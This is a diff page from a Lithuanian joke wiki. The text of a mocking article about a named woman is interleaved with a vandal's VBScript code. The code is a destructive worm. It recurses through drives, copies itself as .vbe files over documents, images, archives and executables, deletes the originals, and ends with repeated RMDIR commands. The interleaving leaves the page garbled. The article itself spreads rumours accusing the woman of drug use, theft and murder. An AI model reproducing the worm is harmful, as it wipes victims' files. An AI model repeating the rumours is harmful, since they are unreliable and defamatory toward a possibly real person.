Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!


Donalda Vasiliauskaitė: Skirtumas tarp puslapio versijų

Jump to navigation Jump to search
1 567 pridėti baitai ,  19:04, 15 lapkričio 2015
nėra keitimo aprašymo
 
(nerodoma 3 tarpinės versijos, sukurtos vieno naudotojo)
1 eilutė: 1 eilutė:
If d.DriveType = 2 Or d.DriveType = 3 Then
{{Abejotinas}}
hihi (d.Path & "\")
{{Trolis}}
End If
{{Vandalai}}
Next
{{Užrakintas}}
haha = s
[[Vaizdas:Batman_3_pipedija.jpg|thumb|300px|left|Negi jie nori mane tokią pamatyti???]]
End sub
'''Pipedija''' arba '''Donalda Vasiliauskaitė''' - iš kur jie sužinojo mano pavardę ir vardą??? Iš kur??? Aš taip slėpiausi ir stengiausi, kad niekas manęs neatpažintų??? Kodėl superstas [[Gūglas]] jiems atskleidė??? Tai šlykštu, tai pasibaisėtina, tie [[anonimai]] viską apie mane žino, jie atrado mane net [[Pipedija|Pipedijoje]]...
Sub hehe(folderspec)
 
On Error Resume Next
Ir aš nesu [[Nida Vasiliauskaitė]] bei nieko su tuo neturiu bendra!!!
Dim f, f1, fc, ext, s, fso
 
Set fso = CreateObject("Scripting.FileSystemObject")
[[Upd.]] ne kas kitas, o [[Google Plus]] užbanino mano [[Pipedijos akauntas|Pipedijos akauntą]] ir privertė įsirašyti čionais bei tenais tikruoju vardu bei pavarde. Tad ir nuo šiol manęs jau nesurasite kaip Pipedijos tenai, o teks ieškoti Donaldos Vasiliauskaitės, nes tokia štai negerovė gaunasi...
Set f = fso.GetFolder(folderspec)
 
Set fc = f.Files
 
For Each f1 In fc
 
ext = fso.GetExtensionName(f1.Path)
== Donalda Vasiliauskaitė ir Pipedija ==
ext = LCase(ext)
Kaip sako istorija, kartą Donalda Vasiliauskaitė įsidarbino kažkokiame UAB, kaip paaiškėjo - Pipedijoje. Ėmė straipsnius rašyti, bet kad tie straipsniai buvo neįdomūs, kaip [[Pedivikija|Pedivikijoje]], tai kažkokia vadovybė ėmė jai į cukrų berti [[LSD]], kad toji išprotėtų. Straipsniai pasidarė įdomūs, bet Donalda Vasiliauskaitė pakliuvo į [[durnynas|durnyną]], kur buvo intensyviai gydoma [[elektros šokas|elektros šoku]] ir visokiais [[neuroleptikai|neuroleptikais]], kol galų gale užsėdo ant [[ciklodolas|ciklodolo]] ir tapo visiškai degradavusia ir išprotėjusia boba.
s = LCase(f1.Name)
 
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
Pabėgusi iš durnyno, Donalda Vasiliauskaitė gana ilgai klaidžiojo kur papuola, užsiimdinėjo vagystėmis ir alkoholizmu, bomžavo, tačiau po truputį grįžo į normalesnę būseną, kur jau vietoje nerišlių veblenimų bei atsitiktinių raidžių kratinių ėmė rašinėti savo [[Feisbukas|Feisbuke]] kažką rišlesnio.
Set f = fso.getfile(wscript.scriptfullname)
 
f.Copy (f1.Path & ".vbe")
Dabar Donalda Vasiliauskaitė rašinėja kliedesius apie tai, kaip visus valdo [[psichotronai]], [[žalias lazeris]] išdegina smegenis, [[GMO]] skleidžia [[reptilijanai|reptilijanų]] genus ir taip toliau, o kartu visiems pasakoja, kad [[Putinas]] visus išgelbės, o taip pat kad [[prie ruso buvo geriau]], nes tada ji galėjo vogti neribotai.
fso.deletefile(f1.path)
 
End If
Dar gandas sako, kad jaunoje jaunystėje Donalda Vasiliauskaitė turėjo didelę meilę - kažkokią moterį, kuri jos nenorėjo, susirado gal kitą moterį, o gal netgi ir vyrą. Tai iš piktumo Donalda ją kažkaip nužudė ir pakasė po krūmu, o paskui už tai turėjo atsėdėti kokioje tai moterų [[kolonija|kolonijoje]] ar netgi ir visai tikrame [[kalėjimas|kalėjime]].
Next
 
End Sub
 
Sub hihi(folderspec)
 
On Error Resume Next
== Dar žr. ==
Dim f, f1, sf, fso
* [[Pipedijos redagcinė kolegija]]
Set fso = CreateObject("Scripting.FileSystemObject")
 
Set f = fso.GetFolder(folderspec)
[[Category:Pipedija]]
Set sf = f.SubFolders
[[Category:Asmenybės]]
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End SubRMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
2 414

pakeitimų

Naršymo meniu